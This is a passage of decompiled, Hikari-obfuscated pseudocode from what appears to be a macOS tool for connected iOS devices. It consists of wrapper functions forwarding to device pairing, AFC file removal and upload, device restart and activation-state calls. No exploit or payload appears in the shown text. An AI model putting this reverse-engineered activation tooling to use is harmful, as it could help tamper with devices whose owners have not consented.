//----- (000000010021ECE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17547(__int64 a1)
{
HikariFunctionWrapper_17546(a1);
}
//----- (000000010021ECF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17548(__int64 a1)
{
AFCClearDownloads(a1);
}
//----- (000000010021ED00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17549(__int64 a1)
{
HikariFunctionWrapper_17548(a1);
}
//----- (000000010021ED10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17550(__int64 a1)
{
RestartDevice(a1);
}
//----- (000000010021ED20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17551(__int64 a1)
{
HikariFunctionWrapper_17550(a1);
}
//----- (000000010021ED30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17552(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021ED40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17553(void *a1, const char *a2)
{
HikariFunctionWrapper_17552(a1, a2);
}
//----- (000000010021ED50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17554(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (000000010021ED60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17555(__int64 a1)
{
return HikariFunctionWrapper_17554(a1);
}
//----- (000000010021ED70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17556(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021ED80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17557(void *a1)
{
HikariFunctionWrapper_17556(a1);
}
//----- (000000010021ED90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17558(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021EDA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17559(NSString *a1)
{
HikariFunctionWrapper_17558(a1);
}
//----- (000000010021EDB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17560(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021EDC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17561(void *a1, const char *a2)
{
HikariFunctionWrapper_17560(a1, a2);
}
//----- (000000010021EDD0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17562(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (000000010021EDE0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17563(__int64 a1)
{
return HikariFunctionWrapper_17562(a1);
}
//----- (000000010021EDF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17564(__int64 a1)
{
return AMDevicePair(a1);
}
// 100256180: using guessed type __int64 __fastcall AMDevicePair(_QWORD);
//----- (000000010021EE00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17565(__int64 a1)
{
return HikariFunctionWrapper_17564(a1);
}
//----- (000000010021EE10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17566(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021EE20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17567(void *a1, const char *a2)
{
HikariFunctionWrapper_17566(a1, a2);
}
//----- (000000010021EE30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17568(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021EE40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17569(void *a1, const char *a2)
{
return HikariFunctionWrapper_17568(a1, a2);
}
//----- (000000010021EE50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17570(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021EE60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17571(void *a1, const char *a2)
{
return HikariFunctionWrapper_17570(a1, a2);
}
//----- (000000010021EE70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17572(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021EE80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17573(void *a1, const char *a2)
{
return HikariFunctionWrapper_17572(a1, a2);
}
//----- (000000010021EE90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17574(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021EEA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17575(void *a1, const char *a2)
{
return HikariFunctionWrapper_17574(a1, a2);
}
//----- (000000010021EEB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17576(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010021EEC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17577(objc_class *a1)
{
return HikariFunctionWrapper_17576(a1);
}
//----- (000000010021EED0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17578(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021EEE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17579(void *a1, const char *a2)
{
return HikariFunctionWrapper_17578(a1, a2);
}
//----- (000000010021EEF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17580(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010021EF00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17581(objc_class *a1)
{
return HikariFunctionWrapper_17580(a1);
}
//----- (000000010021EF10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17582(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021EF20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17583(void *a1, const char *a2)
{
HikariFunctionWrapper_17582(a1, a2);
}
//----- (000000010021EF30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17584(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021EF40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17585(void *a1, const char *a2)
{
HikariFunctionWrapper_17584(a1, a2);
}
//----- (000000010021EF50) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17586(__int64 a1)
{
return OpenAFCConnection(a1);
}
//----- (000000010021EF60) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17587(__int64 a1)
{
return HikariFunctionWrapper_17586(a1);
}
//----- (000000010021EF70) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17588(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (000000010021EF80) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17589(__int64 a1)
{
return HikariFunctionWrapper_17588(a1);
}
//----- (000000010021EF90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17590(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021EFA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17591(void *a1)
{
HikariFunctionWrapper_17590(a1);
}
//----- (000000010021EFB0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17592(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (000000010021EFC0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17593(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_17592(a1, a2);
}
//----- (000000010021EFD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17594(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021EFE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17595(void *a1, const char *a2)
{
return HikariFunctionWrapper_17594(a1, a2);
}
//----- (000000010021EFF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17596(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F000) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17597(NSString *a1)
{
HikariFunctionWrapper_17596(a1);
}
//----- (000000010021F010) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17598(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F020) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17599(void *a1, const char *a2)
{
HikariFunctionWrapper_17598(a1, a2);
}
//----- (000000010021F030) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17600(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F040) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17601(void *a1, const char *a2)
{
HikariFunctionWrapper_17600(a1, a2);
}
//----- (000000010021F050) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17602(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F060) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17603(NSString *a1)
{
HikariFunctionWrapper_17602(a1);
}
//----- (000000010021F070) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17604(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F080) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17605(void *a1, const char *a2)
{
HikariFunctionWrapper_17604(a1, a2);
}
//----- (000000010021F090) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17606(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F0A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17607(NSString *a1)
{
HikariFunctionWrapper_17606(a1);
}
//----- (000000010021F0B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17608(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F0C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17609(void *a1, const char *a2)
{
HikariFunctionWrapper_17608(a1, a2);
}
//----- (000000010021F0D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17610(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (000000010021F0E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17611(__int64 a1)
{
return HikariFunctionWrapper_17610(a1);
}
//----- (000000010021F0F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17612(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F100) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17613(void *a1, const char *a2)
{
HikariFunctionWrapper_17612(a1, a2);
}
//----- (000000010021F110) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17614(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F120) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17615(void *a1, const char *a2)
{
HikariFunctionWrapper_17614(a1, a2);
}
//----- (000000010021F130) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17616(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F140) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17617(void *a1, const char *a2)
{
HikariFunctionWrapper_17616(a1, a2);
}
//----- (000000010021F150) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17618(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (000000010021F160) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17619(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_17618(a1, a2);
}
//----- (000000010021F170) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17620(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F180) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17621(void *a1, const char *a2)
{
return HikariFunctionWrapper_17620(a1, a2);
}
//----- (000000010021F190) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17622(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F1A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17623(void *a1, const char *a2)
{
return HikariFunctionWrapper_17622(a1, a2);
}
//----- (000000010021F1B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17624(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F1C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17625(void *a1, const char *a2)
{
return HikariFunctionWrapper_17624(a1, a2);
}
//----- (000000010021F1D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17626(__int64 a1, __int64 a2)
{
return AFCRemovePath(a1, a2);
}
// 100256138: using guessed type __int64 __fastcall AFCRemovePath(_QWORD, _QWORD);
//----- (000000010021F1E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17627(__int64 a1, __int64 a2)
{
return HikariFunctionWrapper_17626(a1, a2);
}
//----- (000000010021F1F0) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_17628(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return AFCPushMemory(a1, a2, a3, a4);
}
//----- (000000010021F200) ----------------------------------------------------
bool __fastcall HikariFunctionWrapper_17629(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
return HikariFunctionWrapper_17628(a1, a2, a3, a4);
}
//----- (000000010021F210) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17630(__int64 a1)
{
AFCClearDownloads(a1);
}
//----- (000000010021F220) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17631(__int64 a1)
{
HikariFunctionWrapper_17630(a1);
}
//----- (000000010021F230) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17632(void *a1, __int64 a2)
{
UploadBase64FilesFromXMLCleaned(a1, a2);
}
//----- (000000010021F240) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17633(void *a1, __int64 a2)
{
HikariFunctionWrapper_17632(a1, a2);
}
//----- (000000010021F250) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17634(__int64 a1)
{
RestartDevice(a1);
}
//----- (000000010021F260) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17635(__int64 a1)
{
HikariFunctionWrapper_17634(a1);
}
//----- (000000010021F270) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17636(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F280) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17637(void *a1, const char *a2)
{
HikariFunctionWrapper_17636(a1, a2);
}
//----- (000000010021F290) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17638(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F2A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17639(NSString *a1)
{
HikariFunctionWrapper_17638(a1);
}
//----- (000000010021F2B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17640(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F2C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17641(NSString *a1)
{
HikariFunctionWrapper_17640(a1);
}
//----- (000000010021F2D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17642(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F2E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17643(NSString *a1)
{
HikariFunctionWrapper_17642(a1);
}
//----- (000000010021F2F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17644(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F300) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17645(void *a1, const char *a2)
{
HikariFunctionWrapper_17644(a1, a2);
}
//----- (000000010021F310) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17646(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (000000010021F320) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17647(__int64 a1)
{
return HikariFunctionWrapper_17646(a1);
}
//----- (000000010021F330) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17648(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F340) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17649(NSString *a1)
{
HikariFunctionWrapper_17648(a1);
}
//----- (000000010021F350) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17650(__int64 a1)
{
return isError(a1);
}
// 10001587D: using guessed type __int64 __fastcall isError(_QWORD);
//----- (000000010021F360) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17651(__int64 a1)
{
return HikariFunctionWrapper_17650(a1);
}
//----- (000000010021F370) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17652(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F380) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17653(NSString *a1)
{
HikariFunctionWrapper_17652(a1);
}
//----- (000000010021F390) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17654(__int64 a1)
{
RestartDevice(a1);
}
//----- (000000010021F3A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17655(__int64 a1)
{
HikariFunctionWrapper_17654(a1);
}
//----- (000000010021F3B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17656(__int64 a1)
{
return AMDeviceCreateCopy(a1);
}
// 100256162: using guessed type __int64 __fastcall AMDeviceCreateCopy(_QWORD);
//----- (000000010021F3C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17657(__int64 a1)
{
return HikariFunctionWrapper_17656(a1);
}
//----- (000000010021F3D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17658(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F3E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17659(NSString *a1)
{
HikariFunctionWrapper_17658(a1);
}
//----- (000000010021F3F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17660(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F400) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17661(void *a1, const char *a2)
{
HikariFunctionWrapper_17660(a1, a2);
}
//----- (000000010021F410) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17662(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F420) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17663(void *a1, const char *a2)
{
HikariFunctionWrapper_17662(a1, a2);
}
//----- (000000010021F430) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17664(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F440) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17665(void *a1, const char *a2)
{
HikariFunctionWrapper_17664(a1, a2);
}
//----- (000000010021F450) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17666(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F460) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17667(NSString *a1)
{
HikariFunctionWrapper_17666(a1);
}
//----- (000000010021F470) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17668(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F480) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17669(NSString *a1)
{
HikariFunctionWrapper_17668(a1);
}
//----- (000000010021F490) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17670(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021F4A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17671(NSString *a1)
{
HikariFunctionWrapper_17670(a1);
}
//----- (000000010021F4B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17672(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F4C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17673(void *a1, const char *a2)
{
HikariFunctionWrapper_17672(a1, a2);
}
//----- (000000010021F4D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17674(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F4E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17675(void *a1, const char *a2)
{
HikariFunctionWrapper_17674(a1, a2);
}
//----- (000000010021F4F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17676(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F500) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17677(void *a1, const char *a2)
{
HikariFunctionWrapper_17676(a1, a2);
}
//----- (000000010021F510) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17678(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021F520) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17679(__int64 a1)
{
return HikariFunctionWrapper_17678(a1);
}
//----- (000000010021F530) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17680(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F540) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17681(void *a1, const char *a2)
{
return HikariFunctionWrapper_17680(a1, a2);
}
//----- (000000010021F550) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17682(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021F560) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17683(void *a1)
{
HikariFunctionWrapper_17682(a1);
}
//----- (000000010021F570) ----------------------------------------------------
__CFString *HikariFunctionWrapper_17684()
{
return RunIdeviceActivationState();
}
//----- (000000010021F580) ----------------------------------------------------
__CFString *HikariFunctionWrapper_17685()
{
return HikariFunctionWrapper_17684();
}
//----- (000000010021F590) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17686(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021F5A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17687(void *a1)
{
HikariFunctionWrapper_17686(a1);
}
//----- (000000010021F5B0) ----------------------------------------------------
id HikariFunctionWrapper_17688()
{
return RequestActivated();
}
//----- (000000010021F5C0) ----------------------------------------------------
id HikariFunctionWrapper_17689()
{
return HikariFunctionWrapper_17688();
}
//----- (000000010021F5D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17690(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F5E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17691(void *a1, const char *a2)
{
HikariFunctionWrapper_17690(a1, a2);
}
//----- (000000010021F5F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17692(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021F600) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17693(void *a1, const char *a2)
{
return HikariFunctionWrapper_17692(a1, a2);
}
//----- (000000010021F610) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17694(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021F620) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17695(void *a1, const char *a2)
{
HikariFunctionWrapper_17694(a1, a2);
}
//----- (000000010021F630) ----------------------------------------------------
